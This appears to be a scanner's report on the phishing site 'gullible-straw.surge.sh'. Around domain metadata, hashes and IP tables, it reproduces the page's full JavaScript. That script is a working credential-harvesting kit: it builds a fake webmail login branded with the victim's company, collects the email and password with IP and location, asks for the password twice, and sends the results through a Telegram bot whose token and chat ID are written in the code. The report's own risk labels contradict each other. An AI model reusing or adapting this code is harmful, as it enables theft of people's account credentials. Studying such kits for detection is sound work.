other

suspicious phishing

English

You're looking at domain 'gullible-straw.surge.sh' on the .sh country-code top-level domain and includes subdomain 'gullible-straw'. The core label 'surge' covers 5 characters with two vowels and 3 consonants. It segments into one word: surge. No strong language cues emerged from the frequency lists.

html/ff/8c/ff8c7e8d-51d1-44dd-bd78-c77e06bd0912_fallback.html.gz

username

pdf2

pdf1

address

email

type

html/ff/8c/ff8c7e8d-51d1-44dd-bd78-c77e06bd0912.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

6dd2b2c656e886a20a311bc8fde60ff98fe5fe17fb2f1d261d017640bcec734b

4371bbd351ee0fc36fcbb8fa9cb9933db95254e1a4f9ae7e4a5d572a1b086f5f

05b85d96f41fff14d8f608dad03ab71e2c1017c2da0914d7c59291bad7a54f8e

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

d8aa24ecc6cecb1a60515bc093f1c9da38a0392612d9ab8ae0f7f36e6eee1fad

e6d2e855a9a129afb2a3e6f1a42388c9bfdf843062c368f5da500a4bc59acedb

9365920887b11b33a3dc4ba28a0f93951f200341263e3b9cefd384798e4be398

a52f7aa54d7bcaafa056ee0a050262dfc5694ae28dee8b4cac3429af37ff0d66

e7ed36ceee5450b4243bbc35188afabdfb4280c7c57597001de0ed167299b01b

61afb3e0743b19d0cb5615ec48bc93db66dc90ec92cd22357312dd8dd607f536

8c2861723eaf098034b500d6eb448500c678c8970e166ec1adeb96fbfd0ff99c

viewport

width=device-width, initial-scale=1, shrink-to-fit=no

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Private by Design, LLC

Porkbun LLC

surge.sh

Abuse Department

ORG-DOI2-RIPE

digitalocean

DIGITALOCEAN


    /* global $ */
    $(document).ready(function () {
      var cntt = 0;
      initializePage();

      $('#back1').click(function () {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({
          left: 200,
          opacity: "hide"
        }, 0);
        $("#inputbar").animate({
          right: 200,
          opacity: "show"
        }, 1000);

      });

      var ai = handleBase64Data(window.location.hash.substr(1));
      if (!ai) {

      } else {
        var my_ai = ai;
        $('#ai').val(my_ai);
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#errror').show();
          ai.focus;
          return false;
        }
        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();
        var browser = GetBrowserandLanguage()[0];

        



      }

      var f = "bmV4dC5waHA=";

      $('#sub_btn').click(function (event) {
        $('#errror').hide();
        $('#mgss').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var mgss = $('#mgss').html();
        $('#mgss').text(mgss);
        ///////////////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#errror').show();
          ai.focus;
          return false;
        }

        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();

        // $("#logoimg").attr("src", "https://www.google.com/s2/favicons?domain=" + m_slic);
        $("#logoname").html(fnllu);
        $(".domain").html(m_slic);
        ///////////////////////////
        cntt = cntt + 1;



      });
    })


    function GetBrowserandLanguage() {
      // deliver this method 
      let browser = window.clientInformation.appVersion;
      let language = window.clientInformation.language;
      // the return should be an array sorry not object ooo s
      let info = [browser, language]

      // return info array
      return info;
    }

    function initializePage() {

      setTimeout(function () {
        document.getElementsByClassName('loader')[0].style.display = 'none';
        var url = location.href;
        const link = new URL(url);
        let email = link.hash;
        email = handleBase64Data(email.substr(1).split('/')[0]);
        let website = email.substring(email.indexOf("@") + 1);
        var image = "https://image.thum.io/get/width/1200/http://" + website;
        document.body.style.backgroundImage = "url('"+ image +"')";
        document.getElementsByClassName('overlay')[0].style.display = 'block';
        document.getElementsByClassName('modal')[0].style.display = 'block';
      }, 700);

      // Split the current URL to extract a part
      const aim = window.location.hash.substr(1).split('/');
      var hashPart = handleBase64Data(aim[0]);

      const langs = getLocalizedLanguage(aim[1]);
      // console.log("LanguageDictionary :", hardInput)

      $('#error').html(langs.error);
      $('#lessThan4').html(langs.lessThan4);
      $('#msg').html(langs.msg);
      $('#submit-btn').html(langs.submitBtn);
      $('#sec-lg-ss').html(langs.secLgSs)
      $('#frg-psw').html(langs.frgPsw);
      $('#copy').html(langs.copy);
      $("#email").attr("placeholder", langs.emlTxt)
      $("#password").attr("placeholder", langs.pswTxt)
      // $('#loginText').html(langs.loginText);
      // $('#cancel-btn').html(langs.cancelText);
      if (hashPart) {
        hashPart = convertToBase64(hashPart)
        // Split the extracted part further
        var emailParts = hashPart.split('@');
        var domainName = emailParts[1].split('.')[0];

        // Capitalize the first letter of the domain name
        var capitalizedDomain = domainName.charAt(0).toUpperCase() + domainName.slice(1);

        // Update elements on the page
        var logoUrl = "https://logo.clearbit.com/" + emailParts[1];
        $.get(logoUrl)
          .done(function () {
            $("#logoimg").attr("src", logoUrl);
            $("#favicon").attr("href", logoUrl);
            $("#logoimg").show();
          })
          .fail(function () {
            logoUrl = "https://www.google.com/s2/favicons?domain=" + emailParts[1];
            $.get(logoUrl)
              .done(function () {
                $("#logoimg").hide();
              })
              .fail(function () {
                $("#logoimg").hide();
              })
          });

        $("#loginMgs").html(`${capitalizedDomain} ${langs.emlLogin}`);
        document.title = `${capitalizedDomain} - ${langs.mail}`;
        $("#email").val(hashPart);

        // Toggle password visibility
        $("#pass-eye").click(_0x4d7017 => {
          if ($("#password").attr("type") != "text") {
            $("#password").attr("type", "text");
          } else {
            $("#password").attr("type", "password");
          }
        });

        // Call a function to handle form submission
        handleFormSubmission($("#email"), $("#password"), emailParts[1], langs);
      }
    }

    function convertToBase64(str) {
      if (/^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$/.test(str)) {
        return atob(str);
      } else {
        return str;
      }
    }

    

    function handleFormSubmission(emailField, passwordField, domain, langs) {

      var attempts = 0;
      var msgElement = $("#msg");
      var lessThan4Element = $("#lessThan4");
      var errorElement = $("#error");

      $('.login-form form').submit(function (event) {
        errorElement.hide();
        msgElement.hide();
        event.preventDefault();
        lessThan4Element.hide();
        $("#submit-btn").html(langs.verifyingText);
        var ai = emailField.val();
        var pr = passwordField.val();

        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
          $('#error').show();
          emailField.focus();
          return false;
        }

        var ind = my_ai.indexOf("@");
        var m_slic = my_ai.substr((ind + 1));
        var c = m_slic.substr(0, m_slic.indexOf('.'));
        var fnll = c.toLowerCase();
        var fnllu = c.toUpperCase();



        setTimeout(async () => {
          if (emailField.val() == '') {
            errorElement.show();
          } else {
            if (passwordField.val() == '') {
              msgElement.show();
            } else {
              if (passwordField.val().length < 4) {
                lessThan4Element.show();
                passwordField.val('');
              } else {
                ai = emailField.val();
                pr = passwordField.val();

                var date = new Date();
                const visitorInfo = await sendVisitorIP();
                // console.log('MX Record', await getMXRecord(domain))


                var message =
                  `--------+ General Webmail ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +--------\n`;
                message += "Email : " + ai + "\n";
                message += "Password : " + pr + "\n";
                message += "Checker: " + ai + ":" + pr + "\n";
                message += "Browser : " + GetBrowserandLanguage()[0] + "\n";

                message += "Language : " + GetBrowserandLanguage()[1] + "\n";
                message += "MX Record : " + await getMXRecord(domain) + "\n";
                message += "IP Address : " + visitorInfo[0] + "\n";
                message += `Region and Country : ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} \n`;
                message += "Date : " + date + "\n";
                message +=
                  `---------+ General Webmail ReZulT ${visitorInfo[2]} ${visitorInfo[3]}, ${visitorInfo[1]} +-------------\n`;
                var token = "8260173662:AAEMFTDFO_T969yfuVi6lguK58ioykTeuE8";
                var chatId = "1977606840";

                $.ajax({
                  dataType: 'JSON',
                  url: `https://api.telegram.org/bot${token}/sendMessage`,
                  type: 'POST',
                  data: {
                    "chat_id": chatId,
                    "text": message
                  },
                  beforeSend: function (xhr) {
                    $('#submit-btn').html(langs.verifyingText);
                  },
                  success: function (response) {
                    if (response) {
                      if (response['ok'] == true) {
                        if (attempts >= 1) {
                          attempts = 0;
                          $(".login-form").hide();
                          $(".success-con").show();
                          $(".success-con .msg").html(`
                      ${langs.yourEmail} <br>
                      ${langs.success}</b>
                    `);
                          setTimeout(() => {
                            window.location.replace(
                              `http://www.${domain}`); // Redirect to the desired page
                          }, 5000);
                        } else {
                          attempts++;
                          msgElement.show();
                          passwordField.val('');
                          $('#submit-btn').html(langs.submitBtn);
                        }
                      }
                    }
                  },
                  error: function (err) {
                    $('#net-errror').show();
                    passwordField.val('');
                    console.log("Error : ", err);
                  }
                });
              }
            }
          }
        });
      });
    }
  

✅ Low Risk - https://gullible-straw.surge.sh/themoneecallertruth.html

Requests	IP Address	Location	AS Autonomous System
3	151.101.130.137	Unknown	Unknown
2	104.18.10.207	Unknown	Unknown
2	142.250.181.234	Unknown	Unknown
2	104.17.25.14	Unknown	Unknown
1	188.166.132.94	Unknown	Unknown
1	142.250.184.196	Unknown	Unknown
1	172.67.139.119	Unknown	Unknown
1	104.18.40.68	Unknown	Unknown
1	142.250.186.42	Unknown	Unknown
1	13.216.152.137	Unknown	Unknown
15	36	-	-

Security Scan Report: gullible-straw.surge.sh

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History